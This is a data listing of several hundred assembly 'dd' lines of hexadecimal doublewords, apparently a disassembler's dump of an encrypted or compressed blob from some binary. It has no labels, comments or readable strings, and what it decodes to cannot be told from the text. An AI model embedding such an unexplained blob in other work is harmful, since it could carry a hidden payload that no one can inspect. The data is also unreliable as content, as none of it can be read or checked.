		dd 39EC10Eh, 0D1153EFh,	6CE9C444h, 0FAFD53BFh, 805F4009h
		dd 0AD09FD6Dh, 9EE91710h, 3C69FDCAh, 83A72F0Ch,	0F9F50179h
		dd 7325F418h, 7C801020h, 7EC3E6EBh, 5B526A32h, 5D4F4296h
		dd 0BB2FC5ECh, 25967767h, 5727AD85h, 4F408442h,	715EAF64h
		dd 841DAE9h, 0A4632D41h, 95A2283Eh, 0EBADA5B7h,	5E5F92BBh
		dd 0C94310DEh, 22176B9h, 397E47F8h, 9E88F901h, 53BC3E08h
		dd 183C13D0h, 2226983Ah, 1E305F73h, 9CF00C43h, 0B060E56Bh
		dd 8B894E59h, 82E9137Bh, 20600AA1h, 57D060BAh, 0E513DDC6h
		dd 66A00E4Ah, 25D4E4BBh, 70CE4EAh, 0FEE65BF0h, 307B0298h
		dd 4F2C0C02h, 55C097E9h, 40237698h, 1235C70h, 820C2044h
		dd 2DEADD08h, 9D61CBC1h, 3C07F243h, 0DAB27DD1h,	8BEF568Eh
		dd 0CC7DFAC9h, 0FBC7981Dh, 9F69B32Eh, 5A5D5989h, 68520CFEh
		dd 561B5145h, 0D35F8A40h, 0AF56AFF6h, 352016BBh, 526D0B74h
		dd 0CB78B892h, 0FD13DC69h, 2807684Ch, 296A4313h, 280A4878h
		dd 6C5541C2h, 0F040775Ch, 600CCB5Ah, 93DBE6D5h,	5DEB81CCh
		dd 8825D968h, 1656B9BBh, 94D2EF53h, 9F18722Ah, 978245DBh
		dd 61719F7Bh, 0D8B93C0h, 9705D301h, 3AF2AEBFh, 0F9F766C3h
		dd 2C096898h, 20784E9Fh, 65A0EB47h, 48F25F42h, 93DF893Eh
		dd 9934E8F9h, 0A8FBA524h, 4FBF4DDh, 70D389h, 0E03AD8BDh
		dd 4B80F475h, 0CA324B77h, 54D6CC75h, 4F55C11Bh,	60BD2D54h
		dd 1F26A359h, 6A087F13h, 655C1467h, 44DB7A50h, 5C9D2CB3h
		dd 0BE0FB5A8h, 0E6E97D90h, 497CB551h, 4064669h,	4C287E2Dh
		dd 1610FA21h, 59956A07h, 906F2A09h, 81D8AD8Ch, 0D166E5Eh
		dd 0F08B84FDh, 378FE85Fh, 1FD682CFh, 0FD2D5913h, 42D5BF40h
		dd 0B801004Dh, 3B1DEEB3h, 8DA8ACE9h, 623990BAh,	0D189124Ah
		dd 0B1177CEAh, 6F6D3A05h, 0E485F131h, 0CC664FABh, 0BBF30E11h
		dd 752A09D5h, 9113882Fh, 7B5AD090h, 0DF966B1Fh,	173710E0h
		dd 0EA5B0DC2h, 886F5E39h, 0B0A93643h, 42D9285Ah, 0DA41381h
		dd 354B3DF2h, 72E2EEE0h, 0D8511713h, 13C00E62h,	93FD89BFh
		dd 85FF9D40h, 5190AD86h, 0E634CD80h, 30290EC5h,	0F81659EAh
		dd 91529E70h, 852B65FBh, 0D37EA9E6h, 17D7C1ACh,	6BCBBBFBh
		dd 0C87F5CCBh, 8079A9CCh, 0CE03ED81h, 0F70C1412h, 0B7044CD5h
		dd 0B177E804h, 0E0C5EF86h, 47916B00h, 25E97C8Fh, 0BCA088E2h
		dd 20358CF3h, 0CBFE504Eh, 0F4F74B12h, 5B09BD20h, 1B38DB68h
		dd 3227C12Bh, 72982C28h, 5F3C1E41h, 59CD9319h, 6D1E01AFh
		dd 6B37047Eh, 69245E1h,	0C9D7F002h, 0B141C841h,	277E6B6Fh
		dd 944DE482h, 0A484F9B9h, 0BED296A9h, 29273AE3h, 8BA3E55Fh
		dd 6B545EE9h, 5E655727h, 752724ACh, 680146E5h, 5E48254Ah
		dd 67540761h, 0D0D04BACh, 4A61F85Ah, 0BEB690BAh, 3E03737Eh
		dd 7BE68106h, 61218A03h, 7FA5CC1h, 74CFD158h, 85007F7Ah
		dd 1E26FAF7h, 9A28F008h, 48D1F407h, 0E245B056h,	72977775h
		dd 0DB32EE7Dh, 8BD6A8D3h, 2DB2EC14h, 52BB8289h,	0A1020999h
		dd 185F8DE7h, 82958E54h, 19D745Fh, 72471FC9h, 44D68216h
		dd 5809DC6Ch, 1F2BB5A6h, 5172C0F1h, 2D5327BCh, 5A347DEBh
		dd 9EC08FE0h, 32657E35h, 0E30B9F19h, 0D982C554h, 601ABBB5h
		dd 978FE97Eh, 528573DAh, 68FD986Bh, 0F26F4E80h,	4EFF166Ch
		dd 0C5A791FCh, 6E8C5h, 8003E2C0h, 4C2CC4EAh, 0EB45E0B7h
		dd 0B72DD020h, 626CF64h, 0DD6B500Fh, 71E9174Bh,	10D469F6h
		dd 9D470D92h, 6EF58720h, 0B08472BDh, 0E0638D4Eh, 5495C96Ch
		dd 0F02858D6h, 685A6604h, 0E08C3D0Eh, 1A4948B4h, 4E96A84Bh
		dd 141B74EEh, 0BB5E8F3Dh, 0FD75AF2Ch, 1F9A5D02h, 2095545Dh
		dd 9DE79D62h, 7DC17FA7h, 0BECD824Ah, 503512F2h,	3AE8019Bh
		dd 0BE9D546h, 7B447B65h, 5705C031h, 0C5A32154h,	566800E0h
		dd 898976Ah, 0A09FF59Eh, 5DAA43C0h, 0CEEECDCh, 1D3269F7h
		dd 0C32F150Dh, 14AD552Dh, 140CA011h, 0A620B9A4h, 0E1C117FBh
		dd 8090BF08h, 4B614FC0h, 0C302F429h, 0E82A9541h, 0FEDF00A6h
		dd 84F680CEh, 2E630C0h,	0B0500606h, 0C6202C04h,	70E174E9h
		dd 15BB46Fh, 0E5BD7260h, 7BEC0CFCh, 0B275E41h, 0BF070967h
		dd 2E44FF49h, 0F275C7FCh, 0D4F6C0BFh, 80BD1050h, 8BE31A68h
		dd 71A3F115h, 0C2880F92h, 0CCCFFB45h, 0CEF257C9h, 5A5AA892h
		dd 170750E4h, 3D105Bh, 0CBF4C22Ah, 7695292Bh, 0EEE98BD3h
		dd 552D6FE0h, 0ECD0B513h, 20FB31AFh, 0F48D93B3h, 9EE043CDh
		dd 7F4DBF6Eh, 0F77A0426h, 0A885CAA7h, 0BD8D551Dh, 71780CF8h
		dd 0C2CD8107h, 8675B562h, 2409B895h, 82021Dh, 0FF78FA52h
		dd 102ED31Eh, 0C04808ADh, 0C9EFDA2Ch, 5409DC0Eh, 12557CCh
		dd 252696D0h, 0AA51B8A6h, 1055B087h, 31CD719h, 0AC7D5CC4h
		dd 0C7B0412h, 0D29FE77h, 88404E36h, 6014CB5Ch, 632419DCh
		dd 7B13E62Dh, 1054824Fh, 0FD3F2E03h, 500FE34Dh,	2CCD3E45h
		dd 837E0C0h, 89284E27h,	322DDC72h, 0C6598FF6h, 5B1D7C22h
		dd 5D6E49C3h, 0F02FCC5Bh, 17659DDAh, 0E90C8398h, 403BE380h
		dd 0C3DC9E7h, 0CB038105h, 18F87EDFh, 75E3B843h,	48E40B5Eh
		dd 7D865E9h, 0D0A5594Bh, 27ACA96Bh, 0BD0C5C05h,	0D4B0E815h
		dd 75219640h, 0E7C11853h, 0C8EF1202h, 94AA97Eh,	8DF97881h
		dd 92F70507h, 0BA00EA87h, 4AC91E38h, 0C71EC734h, 0B83BE5ECh
		dd 0CDFB16F0h, 0FEA69CEBh, 6DC74082h, 0F68180A3h, 70D6D209h
		dd 2BECDFB4h, 627CE295h, 61C41B2h, 24BBE290h, 3D023D4Dh
		dd 7723E88Eh, 6F9004E1h, 0A7AAF785h, 1C24840h, 733464A8h
		dd 0D971E2C1h, 304BBBCCh, 84BC0903h, 148024Ah, 13FC484Eh
		dd 28FF7553h, 8F6B588Fh, 89DAD6C9h, 0C0564B86h,	65A1AF49h
		dd 358D77A8h, 0E302640h, 49198FAh, 0F62BBEF5h, 5A5B8162h
		dd 0AC0705FFh, 4CB563C3h, 0CB4064BFh, 2E90B05h,	0FD4C5784h
		dd 0A4D5E4CFh, 268146E7h
		dd 13C0FE16h, 0C0F65EE9h, 8835B70Ah, 305BF904h,	0F3BF66CEh
		dd 0D68F259Fh, 0E4B260E9h, 301C31B1h, 0C8195AD1h, 0B48EF82Eh
		dd 2F1C072Bh, 9042B45Fh, 0B83CA8B1h, 92F897EDh,	1A341BDh
		dd 41B0DD30h, 9AB87B95h, 27D4EC4h, 0FD32EB80h, 91436D89h
		dd 3A4AD1F1h, 9A876194h, 0F1250B4h, 450BEBA3h, 0ED577BABh
		dd 0CDDD95A6h, 58D9740h, 811AD02Dh, 760FF2EAh, 35EEB11Eh
		dd 62C1E26Fh, 5864E917h, 854442Fh, 0E9AD0FC0h, 0F78821CFh
		dd 57FC1D5h, 0A27695ACh, 0B7368652h, 886A45CFh,	99DFAE4h
		dd 6A854B2Ch, 0DDF6BA6Bh, 9A5F292Fh, 3943023Ch,	0E8F9DFCCh
		dd 8458540Bh, 88049B91h, 8FA9BAE8h, 6878D84Bh, 0CDF37AEFh
		dd 51D0880Eh, 0EBA6C56Eh, 5F374859h, 0DE60C54Bh, 0B0040DD0h
		dd 9B5C95F9h, 864098C5h, 0A014D435h, 372D243Eh,	518003Dh
		dd 642809A5h, 221EEFB8h, 0FD9F2C57h, 5F62E3CBh,	0ABA9922h
		dd 2D7090Fh, 0F7679BFh,	0EB7584A5h, 0E94B50DBh,	3DEFD31Ch
		dd 0AEBC4452h, 5EE97EF0h, 80D10466h, 0C371C1C7h, 0C00404C2h
		dd 0EB126878h, 0CB9741E3h, 0F7BB2A3Ah, 5BDA3109h, 0CFE07D09h
		dd 0C1F9C843h, 46C54129h, 0F0F32BF7h, 0D4D4D5DFh, 0FEDDB200h
		dd 80DAF6C2h, 0BC89CA39h, 2D0667EAh, 0D2C2D005h, 0C802FD3h
		dd 89B1B744h, 0E93A74F5h, 7C9D532Dh, 0D603621Ah, 34DB4655h
		dd 0E3E56B5Ch, 0BE165020h, 4E329CBh, 9047370h, 0DCBD8F0h
		dd 117A2507h, 0B254E91Dh, 0C57731AFh, 0B5B601B0h, 0C871E13Ah
		dd 0DEB72835h, 16ED2C69h, 8F91AA45h, 887ADE01h,	0F45CEBB1h
		dd 0E167A120h, 720CF933h, 697A2E1Ah, 0F2B6A04Eh, 0E9820A56h
		dd 2DEC5A91h, 9528729Dh, 0D74BA95Fh, 9FE93722h,	0F19D7CF0h
		dd 59E978C2h, 0A99FE29Ah, 6821D747h, 80E3D15Fh,	2C93EE12h
		dd 14DA8931h, 0B3F8BEE9h, 520967DFh, 5659C1FEh,	9660F63Fh
		dd 0DA7C3DEFh, 0C0D2F446h, 680B43E9h, 714672FDh, 0A508C1F3h
		dd 1FFC7612h, 0E9F043FEh, 9027FDD5h, 99AF965Ah,	67D04CAEh
		dd 1E092C80h, 89A7B551h, 0D7C887DAh, 0C8137CC5h, 0B4C518F0h
		dd 48AEB08h, 0BF20E480h, 0C95E9E23h, 0CAF3F3CCh, 3E1376B4h
		dd 0F644F501h, 2CCEE9DDh, 179C4BFEh, 354C407Ah,	0D344B900h
		dd 0B5BF570Ch, 3FC30130h, 2D4AF781h, 90E43FDAh,	0E9E7F44Fh
		dd 0C016CB60h, 0B3705C20h, 612BE92Fh, 0A43CC8C7h, 0DFAD1FFEh
		dd 0A9EC14B8h, 5C224CB5h, 0ED806B08h, 7D6C3DFAh, 0AB2531BCh
		dd 3C650C0Eh, 68954008h, 0A5B1A44Fh, 3239BE2Ah,	0C07B7B60h
		dd 18DECF57h, 0C4C057C6h, 7D6751F7h, 4542B5E9h,	288ED155h
		dd 44324EB5h, 81E8C065h, 2D47F5B1h, 0C829C777h,	0FEAFA0D2h
		dd 277EA2D7h, 0FE45BA7Fh, 0C2ED1E28h, 0E50FE921h, 21FA3D92h
		dd 2A552ABAh, 0E9E165A2h, 5A4D7CA5h, 0AED287F9h, 0AD1669E3h
		dd 5C6532BAh, 0EFC3845Fh, 0B61D4BFh, 5923214h, 9D004E7Ch
		dd 81602F11h, 0D9969F6h, 3DC31B28h, 176AFDFh, 0AB514A80h
		dd 95059D29h, 0C3DE40FBh, 564A27E6h, 0BD5902B7h, 49C682F6h
		dd 4999776Bh, 38E878E1h, 0FBE0CE45h, 32BF59BCh,	2DAFBB80h
		dd 4BB54AEBh, 94109D52h, 0C9E9170Bh, 0EC04BCE1h, 5F6D4C28h
		dd 4F46A368h, 2589B18Ch, 0B6715FF8h, 72D4C20h, 0A8374EB6h
		dd 0C2778DD0h, 98B7536Fh, 5BB2FDE3h, 0D817E0DDh, 0C73AE92Ch
		dd 0E808EE73h, 27142036h, 0EC7CF3E9h, 53EA19ADh, 2BFDF5h
		dd 79D5BAC0h, 96B22A85h, 0E0C397B6h, 3145C076h,	495E7EF5h
		dd 1406A8EDh, 0A73B010Fh, 71A474B5h, 63B86F5Ch,	0B8387113h
		dd 46FAC67Ah, 6FCEFA10h, 10901B1Ch, 0E90B5887h,	0E47DDFABh
		dd 0F67B97DCh, 18A16A43h, 0B46976CDh, 1E0CEA81h, 0C68A65Bh
		dd 25961280h, 0DE07A0BEh, 50E95E4Bh, 0E37F929Eh, 89B34AC9h
		dd 8DD8EAD7h, 0C9015B83h, 5CDB304Ch, 4EDC0581h,	52613DE0h
		dd 9D55DB96h, 29B43B53h, 312095B2h, 0E25A70E5h,	491635Ch
		dd 751707CBh, 0DFB859D4h, 0B32FD905h, 2022FF20h, 20D85208h
		dd 1DB44507h, 1ADC8A5Ch, 96F9DD48h, 28FBA816h, 50975A44h
		dd 3E8B531h, 54B7B1F1h,	7E20747Bh, 0EB8004A0h, 0EEDC085Fh
		dd 55739CC2h, 0CCA2E565h, 0C5B7FD7Ah, 379701AEh, 42451729h
		dd 0F585DA95h, 82C6EF65h, 8A550915h, 89DF1C9Ch,	4B2CC693h
		dd 689902C0h, 165D3F73h, 0BFF99D85h, 0D1F8F713h, 3309E969h
		dd 0DF3CC2D7h, 5BAF7303h, 0BF61B3Bh, 0FFF99FBFh, 985978E4h
		dd 38307592h, 0E6BF0A44h, 24534C68h, 0E5E79E1Fh, 2FA4CD5Fh
		dd 1D1EB7F9h, 4778B8C2h, 72EBD081h, 0E894FC7h, 1230D20Bh
		dd 9F218A68h, 0E212A362h, 2DF78CE1h, 179C3865h,	46EB7FA2h
		dd 9E05F36Eh, 43DF8581h, 0BFC17CAh, 0C60081B6h,	0F6CCFE09h
		dd 384398D6h, 0DE20D3B3h, 8F4A85BFh, 0BE4ABEE8h, 0DC4FF7CEh
		dd 0E9880256h, 27554B70h, 0CA21829Bh, 2C3BDADDh, 0C9BE6F10h
		dd 4099AC88h, 1E260658h, 0C4E9014Bh, 5BB7912Ah,	1739EA5Ch
		dd 82AEE3Bh, 0B6B52C78h, 45B8C51Ah, 93DD86DEh, 0F582C8E6h
		dd 0F0E0E90Fh, 3CB824C3h, 355200ABh, 1FB0338Eh,	2C112D07h
		dd 0B2DD2E4Ah, 4A60EECDh, 415F81DFh, 1CC4731h, 86DDF229h
		dd 0EA0F2B22h, 62A91AA9h, 605AA1DCh, 0FE0D43A8h, 83895103h
		dd 695B03Ah, 1E960503h,	0FB25637Eh, 357FA065h, 0D2711D88h
		dd 55CE401Dh, 0C2017ED1h, 2473479Fh, 1343648Ch,	51CCF4AEh
		dd 0D22C3095h, 4CF7021Ah, 5EE94858h, 0C5810874h, 0AAD7E847h
		dd 8B39BA76h, 68BDCC4Fh, 449FF176h, 0DB7E2597h,	47204A6Ch
		dd 317D95F5h, 0F76C6DD7h, 0C953E94Fh, 7D39985Eh, 0EA24D342h
		dd 0F0D22AF7h, 66431697h, 7B97BE00h, 93BD35B7h,	0B6BB0BD3h
		dd 0EEE913E3h, 81BE5882h, 896A2BF6h, 826F9661h,	0C2C155D9h
		dd 0BDB90062h, 1F3A1742h, 551C2C56h, 4CAA681Dh,	8CEC0792h
		dd 8E79DB07h, 0D8CD607Bh, 34617604h, 5B696018h,	1158B63Ch
		dd 0FE534817h, 9B30D539h, 950C04A1h, 0D5F2E940h, 2FF2EF02h
		dd 0C9628AD2h, 8D2DD50h, 31B25203h, 9956EA80h, 0BF2F33E2h
		dd 2CFDFC03h, 42F909Ah,	0B8D0E0A4h, 0F68F2E4Fh,	9CC208B8h
		dd 0C8D47B2Fh, 5E9F089Ch, 615C3E32h, 0EECCDA44h, 75CFE1A2h
		dd 0BDE91210h, 3CB3F959h, 0D94C17B3h, 0C01622CAh, 94C9FB8Fh
		dd 488BE52Fh, 41459933h, 0D77AAE30h, 3DAABCE3h,	0C5BB12D0h
		dd 4A0E6EF4h, 7E568ECAh, 0C2123AFFh, 602929AEh,	0EC947717h
		dd 7CB4482Dh, 423C2670h, 0D9303C2h, 0F7E12E25h,	6A702E1Ch
		dd 28422FE3h, 4CEA5611h, 122FA105h, 1F49047Fh, 0BA2E63E1h
		dd 0A1594E6Ch, 583D5FABh, 4749C706h, 0A420D4CBh, 376812B4h
		dd 0B136FC1Fh, 4560535Fh, 0AD7A0026h, 21C2BB5Bh, 313F1F45h
		dd 0D84BB8FBh, 0A4220F91h, 35A8F217h, 0E191F94Eh, 9F3550E9h
		dd 0C9C7A23Ah, 97DBD874h, 1C4B891Ah, 2485D1F1h,	36F473AAh
		dd 29BB2A1Fh, 81DDEB07h, 50330131h, 0B0CBD460h,	0B04ED68h
		dd 66D5ACC2h, 85AA9D4Bh, 7A4E0245h, 4C550794h, 85AA4E79h
		dd 42882D34h, 500B4037h, 91369802h, 0FE7627D9h,	2FD203Bh
		dd 0C1D7F75Dh, 596006E7h, 0AB2E24BFh, 43051D57h, 0E4818B5Bh
		dd 0E6892C8h, 0FA8C3BC4h, 14B9E974h, 0E7BC018Fh, 5EB06BF1h
		dd 4FD67209h, 0FF50944Ah, 0D5EEBA94h, 37E405CDh, 6B8CEFA3h
		dd 0CCE3FDEBh, 0F78FD5E9h, 68D5E8ABh, 809BA4D2h, 0A97895Eh
		dd 54103F64h, 5D8F700h,	0EB333FDBh, 9D5E09F8h, 0F67F032Dh
		dd 69750407h, 122448D1h
		dd 9D6E0408h, 4CEA1BB4h, 0DB03DE70h, 29199A3Eh,	0F4DDE9C8h
		dd 0E2B27E95h, 0F153FD03h, 93356908h, 0D3ABA934h, 27BFE308h
		dd 93BC4BFEh, 0B5EDDE13h, 0CFC3C9DEh, 8BFFB277h, 0A645D45Dh
		dd 0F5DD19EEh, 0C6A8DCC2h, 2AED9DD3h, 5948EB56h, 0B5DCD2Eh
		dd 0CF93DC97h, 1F2E1A12h, 0ED1FA01h, 1030209Eh,	0E052022Fh
		dd 784DE96Dh, 15B8B07Fh, 61688155h, 52306BF5h, 5EF1282Dh
		dd 2AC1A179h, 8100E2ECh, 0DD0DD5F2h, 0D14B8954h, 0CA83D8BAh
		dd 919AF095h, 732D6071h, 0CEA0DB40h, 5F8162CBh,	30D955DEh
		dd 0F020B4A8h, 0F78102F6h, 3F4ABE57h, 0FA018ACAh, 0E6357334h
		dd 5D080512h, 0D383E2BEh, 55B24ABCh, 0BCE89E8Eh, 3E129C2Ch
		dd 0B7720AE6h, 0D00DCD05h, 51E2B72Bh, 5F4BC1F0h, 2ABC76EBh
		dd 7B132C5Fh, 0AF4EE3A7h, 2452D923h, 9402169h, 0DDCEC9A2h
		dd 685DEE05h, 0B9113F2h, 7181B422h, 0DA4A1FF1h,	29D9ED69h
		dd 19214AD1h, 0B33F8D48h, 8466C4EAh, 0DCE30412h, 76409EBh
		dd 24F20271h, 11E6F74Ah, 432D6E00h, 0E6814640h,	0F655123Bh
		dd 796DFC6Bh, 0CA91EE01h, 0F021C67Fh, 82587A60h, 0D231254Ch
		dd 3DD9F30Ch, 0A4E4AD7Eh, 64298FEBh, 0F4BC41D0h, 0AFF2A8C4h
		dd 96E7F231h, 8803656Eh, 0A95B3CACh, 0E32A6F99h, 0CFE90B47h
		dd 0C90123F1h, 400BC24Eh, 80546C3Bh, 0B6924404h, 20335658h
		dd 0E191BFBCh, 0DAA5EC10h, 7B4089B2h, 968125Eh,	3B39CC6Eh
		dd 0F93ABD41h, 86532A5Bh, 68C2D7B6h, 0D15F01A2h, 6EFA70E6h
		dd 5BFA73CFh, 56DAD106h, 5DEA1584h, 0E189FE89h,	0F2AAE27Bh
		dd 1BE7FD56h, 14171F29h, 357B0EB1h, 7744EB10h, 5905B948h
		dd 0BAA2EE01h, 5AF17F76h, 5A8DFD1Bh, 0DE25CE8h,	22F9BD6h
		dd 19A6C7Ah, 6B21C568h,	9BFC37D9h, 881EC13Fh, 0E45B5802h
		dd 0A29D3CB9h, 6D61DE0h, 0B7207821h, 0D3F60298h, 0C0E0B151h
		dd 0FC80DF61h, 0DFB008E7h, 75B6282Dh, 0E8D08D95h, 7D60C46h
		dd 2E082B5Bh, 3E909540h, 0CC1BD5FDh, 5DBB108Ah,	0CE30810h
		dd 101B9710h, 96106276h, 0D5131968h, 418C0E38h,	0F608E62Eh
		dd 26B531C4h, 18E55606h, 2031A420h, 0DE317475h,	98570820h
		dd 3256501h, 62617312h,	6646082Ah, 10E25003h, 106B2648h
		dd 0B81070AFh, 0D3201853h, 807C2D20h, 0AC80225Eh, 4418C6FEh
		dd 0E040B916h, 10676363h, 81042F9h, 37198040h, 88CA20F7h
		dd 0C126AF1h, 0BC085E88h, 0FCF369C6h, 7B483108h, 95872618h
		dd 10A09A08h, 8A1075E1h, 500C1045h, 38F8FC18h, 0AD818C7Bh
		dd 0D722A051h, 1566001h, 64034A5Dh, 8CDD1951h, 80F3110h
		dd 42374023h, 40D02140h, 40401E17h, 38F56338h, 82AE90Fh
		dd 13349895h, 0AC460993h, 31086AD8h, 0D28F204h,	0AD088AF4h
		dd 0E9B1B06Ch, 0BD0389EFh, 86FD0484h, 68E2404h,	63793278h
		dd 1E4087Dh, 2A1A965h, 2B29C444h, 836D306h, 543A6620h
		dd 0A88AAC2Fh, 0CC77B6BCh, 0E7083D99h, 40419840h, 3B40AB23h
		dd 5BCCA9ADh, 51A4AC51h, 20483002h, 3B80635Ah, 2808CC39h
		dd 589215E1h, 20948120h, 40631D18h, 10FF7C81h, 1048D420h
		dd 67197126h, 88E618F9h, 1865ECC1h, 55D21CBh, 1ACA08C4h
		dd 8DA4320Ah, 516979C8h, 329BF88h, 0A019185Ch, 2D8C0876h
		dd 0CAEA9B80h, 8890C228h, 0FA0CF685h, 402308DDh, 0C0A89AD8h
		dd 31C8E3FBh, 0C8701560h, 194CAB10h, 6F20EB48h,	10248051h
		dd 0B164D999h, 1455015Ah, 8448E202h, 48045E5h, 19F8804Fh
		dd 80ED7C80h, 8D80DB8Eh, 8F548075h, 8028BC80h, 20C6DC45h
		dd 88C97C1Eh, 0C4FA56B4h, 0C01B318h, 40808166h,	0AC92F661h
		dd 0B8EFA82Ah, 3E18C1DFh, 80D4C318h, 10C959B4h,	9D882560h
		dd 0F2F09044h, 0A672004h, 0E092ECF4h, 748B8444h, 9081E04h
		dd 9D742544h, 41C3A447h, 8D675DCBh, 0C2D25B08h,	0E035CF73h
		dd 9E04F52Ch, 0D095DEE4h, 99F420D3h, 0F652483Bh, 4B2CF49Fh
		dd 0BA731D04h, 98BBE325h, 4764756Ch, 8BFF3C2Dh,	0D4E90B5Ah
		dd 109CDF67h, 0B1685C1Ah, 76D3751Eh, 76E95E40h,	0B011D264h
		dd 7E05AE6Fh, 525F1205h, 0B719D8BBh, 93F560Eh, 290BD8BAh
		dd 0F7E918DAh, 0F921422Bh, 0F14BCFEFh, 0F2B7A3E8h, 0F9236A6h
		dd 0B1468A02h, 0D992D00h, 56A0216h, 40E23B81h, 0D558B9FCh
		dd 7E2C2826h, 0FA4904F5h, 0AE29618Eh, 680B228Bh, 0C2E40F80h
		dd 2F0B5679h, 0A04F1C0Bh, 0BB70B889h, 0D6F72E3Bh, 0FD86172Ah
		dd 0CDF0434h, 2CAF6A22h, 6B709A3Eh, 0D99D73E1h,	0B36E54A9h
		dd 0CCE9C3DBh, 0BF0A0333h, 20619DFh, 0C26E59D1h, 0C4B959D7h
		dd 40AE53CFh, 275069DEh, 4C9D5E71h, 0B86F333Fh,	80D8D80Dh
		dd 0F029685Bh, 0B1978257h, 0ACC18507h, 511642D2h, 0B353004Dh
		dd 80D0E96Ch, 4105397h,	0AB638A68h, 0F02B5439h,	1E4F5F91h
		dd 0FBF4C6ACh, 213F9600h, 69BF4BD1h, 0F4760B3Bh, 38953C28h
		dd 0D3706B24h, 92C4BF3Ch, 165803F0h, 0A01B8012h, 0B80550ABh
		dd 4CCB4D83h, 450966ACh, 28FF2308h, 572508EAh, 92C52199h
		dd 0A6BABBF3h, 15D102A4h, 0F7012EC8h, 0CA020D9h, 7409E918h
		dd 0F055E0D3h, 10AF61ADh, 6EEEC15Eh, 0E22CCEF0h, 0FE764F5Ch
		dd 98C68600h, 4E620F6Bh, 0F157BF46h, 0ADA4FFECh, 58E9824Dh
		dd 0D2A50EB7h, 5E3EB7FDh, 95B0F8F0h, 0D08D94D9h, 40881DA2h
		dd 0FE01A09Dh, 0BFF780CFh, 7DD65CE9h, 0F52DE5E5h, 0F748A294h
		dd 144D18E5h, 0D680C127h, 9AA1C804h, 12B18F95h,	68826AF3h
		dd 857A2152h, 207D442Fh, 0C004661Eh, 0A8014E6Ah, 0FF0DB4F2h
		dd 376F3B05h, 0BB29B36Bh, 5F956148h, 0AA48C7B2h, 40975020h
		dd 2D79A0D2h, 48D16FF5h, 4C3A1E62h, 0B0170163h,	7CE9677Dh
		dd 0B4258809h, 81143262h, 2564C7D5h, 0E904995Eh, 190917Fh
		dd 0B7106D68h, 0F6D2D6B3h, 0B0BD46DFh, 20C155F5h, 573E262Ch
		dd 0F25B923Eh, 2049DF61h, 0C219238Ch, 0D1D3FB58h, 96480B1Dh
		dd 0BB414079h, 0C5E6D10Fh, 0CEFF4A8Ch, 0C2BA5FA5h, 3AAA5157h
		dd 47214880h, 8EAC11Bh,	5BBFCCF3h, 0E9E3B904h, 31EF24C4h
		dd 80A4B78Ah, 5E0E0510h, 0E2D4FA6h, 2ED97EA9h, 33E75A1h
		dd 18AC2F46h, 0FC54A8B6h, 7AB55B95h, 342A22CAh,	0E735E577h
		dd 340E0E77h, 59CC074Eh, 28F6F461h, 0C4F058F9h,	12FCE040h
		dd 0A19FBAE9h, 0E1A86EBDh, 0B5E28FCBh, 553587Eh, 2231B8FFh
		dd 55C582FFh, 0A2C99340h, 0BDA2669Fh, 91691FD0h, 82A282EDh
		dd 3D531910h, 0A05B8745h, 2AECD70Bh, 6C6013F8h,	87D7F718h
		dd 0F03139FEh, 0F408C637h, 11A8EF55h, 0A5BCA24Bh, 0B540382h
		dd 0C95B6855h, 0CF8083FBh, 0EF5CC059h, 0D27373CCh, 0E925B9F2h
		dd 0B872608Eh, 98711E37h, 22F08D65h, 0AB012B14h, 6801E25Dh
		dd 2746E840h, 0B05EB576h, 0C3805A82h, 51F8F77Eh, 512D66EAh
		dd 46145750h, 0C0BC564Ah, 97D6E90Dh, 286DD861h,	121071ABh
		dd 81034994h, 9C77DDF3h, 4CB85200h, 0F71B2B6Eh,	0A26BF1D8h
		dd 18B605ECh, 6F871621h, 74A9E5F2h, 24FCA50Ch, 47082329h
		dd 0BB530065h, 0E822785h, 98DD213Eh, 7785B610h,	45699038h
		dd 58133A3Ah, 8D152ECEh, 2A76FE30h, 987650C0h, 0A21AA13Bh
		dd 15FDD96h, 0C211BD33h, 1C10DF7Bh, 833E9E64h, 4826CBCFh
		dd 0EEBD9369h, 823DAFF5h, 0C7AB882Ah, 0C15BFA40h, 0D50F0BFAh
		dd 91803E78h, 58CF1DEFh, 0CB039B07h, 7BFE479Ch,	1EC31C3Eh
		dd 1C2BC7Dh, 0F898E9DFh, 0DA8826CCh, 8CE00C68h,	1C09C38Dh
		dd 52AB22CAh, 5AD51759h
		dd 26D0FE5Bh, 9F90E95Eh, 0A9082E57h, 0C1C3A7ACh, 5C313ED2h
		dd 0BE56408Fh, 0F75C6234h, 35D813C1h, 536D8B61h, 1EDBF805h
		dd 2FFB7EE5h, 0F0025527h, 0EE5701FBh, 0BF719FDCh, 1854215h
		dd 0B438E4BFh, 0DC88F76Bh, 66013634h, 511A58BAh, 79A7B9D4h
		dd 3F819037h, 65F293Dh,	2C566EA9h, 611E0998h, 4F884C26h
		dd 38849E8Ah, 7369BA5Fh, 0CB7AE521h, 7A866F46h,	0DA005DDDh
		dd 0F9149DAEh, 47603159h, 0E9D0041Bh, 0B210B556h, 0B4FD0912h
		dd 6625A28Eh, 81C05D53h, 0D5EA5AF3h, 0DC7A5078h, 0D8E9E212h
		dd 50B5A52h, 6DFD0146h,	0A3A5F930h, 1B70B1D9h, 0FE11CB8Ch
		dd 2081F50Dh, 6C90A0Ah,	0A90D8FCBh, 885060F4h, 0B5EFE4E5h
		dd 8BA45767h, 1A1ED0A7h, 87C8802h, 6323025Dh, 815E00F9h
		dd 581240F1h, 45081CC2h, 0E47F254Ah, 0A91A07Fh,	0BEE84820h
		dd 3F48F702h, 0F6E10D17h, 1DE63FAFh, 0F5B60863h, 0DE573AF2h
		dd 3DB9E0F4h, 125F4F40h, 0A7B092C1h, 0E8D9CBAFh, 2C4A826Eh
		dd 0D6C3F5F8h, 66076FA7h, 68631E59h, 1BD72A9h, 0ACE97F39h
		dd 65A36E3Ch, 0AB541316h, 9B56DC38h, 8664883Fh,	0D6F5682Dh
		dd 0BBBCD789h, 0A1EAAE3Ch, 0B62E25F9h, 0BA52C071h, 906E09AEh
		dd 81A8206Bh, 80EED007h, 0AE3EEDCEh, 5AF107F5h,	0D7C7E1B5h
		dd 0F0B600D8h, 0CEFED6F6h, 0F78827C5h, 13E70F81h, 3889C7E4h
		dd 2C7FB450h, 6D5FFC4h,	3E7ED0E9h, 56923EF8h, 0A4F8E24Bh
		dd 26C8497Eh, 80DBF602h, 7C7D1ACBh, 407BAFB5h, 0D936A28Ch
		dd 0CD90ECDh, 0EDC310D4h, 0F3B00DD5h, 9D4988E9h, 60C000DBh
		dd 13BD304Dh, 39715C79h, 735E2E10h, 82F72BECh, 0DD685D0Ch
